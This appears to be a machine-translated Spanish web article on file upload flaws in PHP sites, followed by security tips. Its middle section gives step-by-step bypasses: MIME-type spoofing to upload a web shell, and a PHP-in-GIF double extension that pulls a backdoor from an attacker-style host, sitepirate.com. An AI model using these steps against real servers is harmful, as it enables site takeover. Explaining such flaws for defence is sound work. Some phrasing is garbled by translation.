¿Qué es la falla de carga y cómo puede protegerse de ella?

clientes torrent
clientes torrent

Última actualización: 16 de julio de 2022

El script de carga permite la transferencia de archivos desde su máquina, que es el cliente, al sitio que es el servidor, pero a menudo el script de carga contiene vulnerabilidades.

La falla de carga es una falla que permite cargar archivos con una extensión no autorizada, esta falla se debe a una mala configuración del script de carga o una falta total de seguridad. Esto generalmente está presente en los scripts de carga de imágenes. Este es uno de los defectos más peligrosos.

¿Cómo funciona la falla de carga?

El propósito de esta falla es cargar un archivo con una extensión no autorizada. (Por ejemplo, un código php) para tener acceso al servidor de destino. Si el formulario de carga de su sitio no es seguro, entonces un hacker podría divertirse fácilmente cargando un archivo PHP malicioso (web shell, por ejemplo) que le permitiría tomar el control total de su aplicación web y de su servidor.

¿Cómo podría un pirata informático aprovechar la falla de carga?

En esta parte, explicaré las diferentes formas de explotar la vulnerabilidad de carga.

1) Omitir la verificación MIME

El tipo MIME de un archivo designa el tipo de contenido del que se compone un archivo. Por ejemplo, el tipo MIME de las imágenes gif es “imagen/gif” y el tipo MIME de las imágenes jpg es “imagen/jpeg”.
Algunos scripts de carga solo verifican si MIME coincide con los tipos de archivos permitidos, pero una verificación MIME no es suficiente porque un pirata informático puede eludir esta verificación.
Un usuario malintencionado puede omitir esta verificación. Puede cargar un archivo PHP engañando al servidor haciéndole creer que el archivo es una imagen JPEG.
He aquí cómo hacerlo:

Para iniciar la modificación, abra Firefox, luego haga clic en "herramientas", luego en "alterar datos" y finalmente en "iniciar modificación".

  • Ahora seleccione un archivo php que desea cargar en el servidor vulnerable y haga clic en uploder.

  • Se abre una nueva ventana, haga clic en Modificar
  • Tienes el "encabezado". Ahora en POST_DATA, cambie “application/octet-stream” a “image/jpg”, luego haga clic en Aceptar y admire el resultado.

¡El Shell se ha cargado correctamente! Pasó por una imagen JPEG.

El hacker ahora puede ejecutar el archivo PHP con su dirección URL.

2) Doble extensión

Algunos scripts solo verifican la extensión del archivo, pero un pirata informático puede eludir esta protección creando una extensión doble (dependiendo del host).

  • Primero crearemos un archivo GIF. Para hacer esto, abra el programa Paint, cree una imagen de unos pocos píxeles.
  • Luego abrimos nuestro archivo GIG con un editor hexadecimal (para mí fred, es el mejor).
  • Ahora imagina que insertamos código PHP en nuestro GIF y le damos una doble extensión (.php.gif).
  • En nuestro editor, hay un espacio vacío para agregar un encabezado html así como la función de inclusión.
  • Así que terminamos con nuestro archivo.php.gif.
  • Lo subimos y ahora la carga va correctamente.
  • Vamos a nuestro archivo.php.gif? Test = http: //www.sitepirate.com/backdoor.php. Y aquí está nuestro puerta trasera se pone en su lugar.

Subir seguridad

A continuación, se ofrecen algunos consejos que le ayudarán a proteger esta vulnerabilidad:

  • Nunca confíe en lo que el cliente puede enviar.
  • Verifique la configuración de Apache para actuar en consecuencia.
  • No coloque el .htaccess en el directorio de carga.
  • No permita la sobrescritura de archivos.
  • Genere un nombre aleatorio para el archivo cargado y guarde el nombre en una base de datos.
  • No permita ver el índice del directorio de carga.
  • Asigne los permisos correctos al directorio.
  • Verifique el tipo mime con getimagesize () y la extensión del archivo.